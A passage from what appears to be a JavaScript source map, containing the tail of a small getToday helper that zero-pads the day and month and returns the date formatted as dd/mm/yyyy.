today.getMonth() + 1; //January is 0!\r\n  var yyyy = today.getFullYear();\r\n\r\n  if (dd < 10) {\r\n    dd = '0' + dd;\r\n  }\r\n\r\n  if (mm < 10) {\r\n    mm = '0' + mm;\r\n  }\r\n\r\n  today = dd + '/' + mm + '/' + yyyy;\r\n  return today;\r\n}\r\n\r\nexport default getToday;"],"sourceRoot":""}